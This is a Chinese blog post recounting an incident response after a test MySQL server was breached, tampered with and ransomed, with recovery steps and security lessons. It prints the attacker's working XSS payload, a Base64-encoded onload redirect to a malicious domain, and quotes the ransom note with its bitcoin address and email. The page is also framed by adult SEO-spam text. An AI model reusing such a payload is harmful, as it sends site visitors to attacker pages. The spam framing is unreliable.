成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

運維|MySQL 數據庫被黑,心力交瘁

數據庫
前一陣有一個測試用的 MySQL 數據庫被黑了,刪庫勒索的那種,這里記錄一下事情經過,給自己也敲個警鐘。

前一陣有一個測試用的 MySQL 數據庫被黑了,刪庫勒索的那種,這里記錄一下事情經過,給自己也敲個警鐘。

發現端倪

有一天,我在自測功能的時候,發現 APP 里展示的每條詳情信息里都有一段亂碼,只是有點奇怪,沒有特別在意,后來調試網頁的時候看到控制臺有個報錯,就順手看了一眼,發現詳情網頁里有這樣的東西:

找我的前端小伙伴討論了下,最后本地調試了一番,發現是數據庫里有個字段齊刷刷地被改成這個了:

<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))>

atob 里面這一串是被 Base64 編碼的 window.location.replace("https://xxx.com/xxx"),所以這段代碼如果在網頁里被正常加載,網頁會被自動重定向到一個邪惡的網址:

是不是挺可怕?瀏覽網頁的人如果警惕性不高,可能就中招了。這時我明白過來,我的測試環境這是被當成肉雞了……

不過當時還是大意了,因為暫時沒有想通它是怎樣攻擊和篡改,以為就是從頁面注入的,就在邏輯里加了一些防護邏輯,把這個字段值都改回去然后就繼續干活了。

庫沒人懵

到第二天,正歡樂地測著功能呢,突然打開啥頁面都報數據庫異常了,到庫里一看,好家伙,所有表都沒了,只剩一張 readme,里面寫著:

以下數據庫已被刪除:xxx。我們有完整的備份。要恢復它,您必須向我們的比特幣地址bc1q8erv6l4xrdqsfpwp92gm0mccur49pqn8l8epfg支付0.016比特幣(BTC)。如果您需要證明,請通過以下電子郵件與我們聯系。song4372@proton.me 。任何與付款無關的郵件都將被忽略!

事情沒我想象的簡單!能把庫里的表都刪了,數據庫和服務器的權限怕是都被拿到了。

仔細回想了前一段時間里發生的事情,推測過程可能是這樣的:

  • 最開始,有一天接收到阿里云的告警,提示 AK 泄漏,查看事件日志發現利用 AK 創建了一個 RAM 子賬號,并賦予了高權限,當時我禁用了涉及的 AK,刪除了被創建的子賬號,但服務器應該已經被滲透了;
  • 然后就是數據庫字段被篡改,估計是一方面把服務器資源作為肉雞繼續擴散攻擊其它人,另一方面作為誘餌,監控處理動作;
  • 最后就是刪庫勒索了。

奪回權限

當務之急,是奪回權限,恢復數據。整個服務器和數據庫的權限應該都不安全了,所以我先采取了以下措施:

  • 檢查服務器安全組規則,發現被加入了允許公網訪問 3306 和所有端口的記錄,將其刪除;
  • 檢查服務器上的用戶,發現多了一個用戶 guest,uid 0,將其禁用;
  • 檢查進程,發現有用 guest 用戶啟動的 bash 進程和 mysql root 用戶進程,將其 kill 掉;
  • 修改服務器所有用戶密碼,檢查用戶權限;
  • 修改數據庫端口、重置所有用戶和密碼,只賦予用戶必要權限;
  • 更新服務器,修復已知安全漏洞;

用到的主要指令:

# 檢查 Linux 服務器上的用戶
cat /etc/passwd

# 修改用戶密碼
passwd <username>

# 檢查進程
ps -ef 

# 殺掉進程
kill -9 <pid>

# 修改數據庫端口
vim /etc/my.cnf

# mysql 刪除用戶,在 mysql 命令行執行
drop user '<user_name>'@'<scope>';
# mysql 創建用戶,賦予權限,在 mysql 命令行執行
create user '<user_name>'@'<scope>' IDENTIFIED BY '<password>';
grant select,insert,update,delete on '<database_name>'.* to '<user_name>'@'<scope>';

修復數據

接下來就是修復數據了。

這個測試用的 MySQL 實例開啟了 binlog,可惜被攻擊者清除了,所以只能從備份恢復了。數據用定時任務 + mysqldump,每天備份一次,找到合適的備份,恢復數據。

ps: 幸虧有備份,不然真是欲哭無淚了。

# 解壓備份文件
gunzip -c xxx.sql.gz > xxx.sql

# 恢復數據,在 mysql 命令行執行
use <database_name>;
souce /path/to/xxx.sql;

小結

以上的步驟的操作過程,遠沒有看起來那么簡單,實際耗費了我挺長時間。

這次事件讓我深刻地意識到,安全問題不容忽視,不管是服務器還是數據庫,都要做好安全措施,不要給攻擊者可乘之機。不然真到了被攻擊,而又自行恢復無望的時候,那就叫天天不應,叫地地不靈了。退一萬步說,即使有備份,也會耗費大量的時間和精力,影響正常的工作和生活。

安全任重道遠,后續先做好以下方面:

  • 訪問控制,只賦予必要權限;
  • 服務器鏡像、數據庫定期備份;
  • 定期漏洞掃描與修復;
  • 敏感數據加密;
  • 操作審計;

最后,警鐘常鳴!

責任編輯:趙寧寧 來源: 悶騷的程序員
相關推薦

2015-10-10 09:19:29

程序員編程工作熱情

2020-12-14 10:22:50

開發開源安全

2015-10-10 08:52:13

程序員疲勞

2018-12-14 11:04:56

數據庫運維智能

2018-09-18 09:36:52

運維數據庫智能

2019-04-25 15:35:37

MySQL數據庫運維Linux

2015-06-02 16:16:17

mysql優化mysql讀寫分離mysql主從復制

2013-08-07 10:23:58

MySQL運維數據庫運維

2019-01-15 18:03:54

數據庫運維 技術

2023-01-03 08:55:38

PG數據庫運維

2022-12-07 21:28:43

數據庫運維云原生

2018-08-27 10:59:07

京東數據庫智能運維

2023-06-06 07:31:33

數據庫運維管理平臺

2024-04-22 08:15:50

數據庫運維工具

2018-05-08 09:49:15

數據庫運維優化

2018-05-02 14:30:33

數據庫運維優化故障

2014-02-19 13:30:05

運維安全數據庫

2023-10-10 08:11:24

數據庫運維多租戶
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品久久久久久久久久久久 | 一区二区三区国产 | xx视频在线观看 | 国产精品毛片av一区 | 一级aaaa毛片| 欧美日韩亚洲系列 | 91视视频在线观看入口直接观看 | 天天天天操 | 天天操夜夜操 | 国产伦精品一区二区三区在线 | 中文字幕一区二区三区四区 | 色天天综合 | 亚洲国产欧美在线 | 日本三级网站在线观看 | 亚洲国产高清在线 | 成人一级视频在线观看 | 欧美精品成人一区二区三区四区 | 91av在线免费 | 欧美黑人一区 | 国产免费一区二区三区网站免费 | 特黄色一级毛片 | 伊人精品 | 国产一区二区三区视频 | 色就是色欧美 | 欧美综合一区二区三区 | 中文字幕精品一区二区三区精品 | 国产精品美女久久久免费 | 伊人春色在线 | 国内精品伊人久久久久网站 | 国产精品久久久久久久久免费丝袜 | 国产成人精品亚洲日本在线观看 | 99久久婷婷国产综合精品电影 | 日韩精品色网 | 久久综合爱 | 国产精品久久久久永久免费观看 | 综合精品久久久 | 特级a欧美做爰片毛片 | 91久久精品一区二区二区 | 国产a视频 | 在线免费观看黄色网址 | 欧美国产日韩在线观看成人 |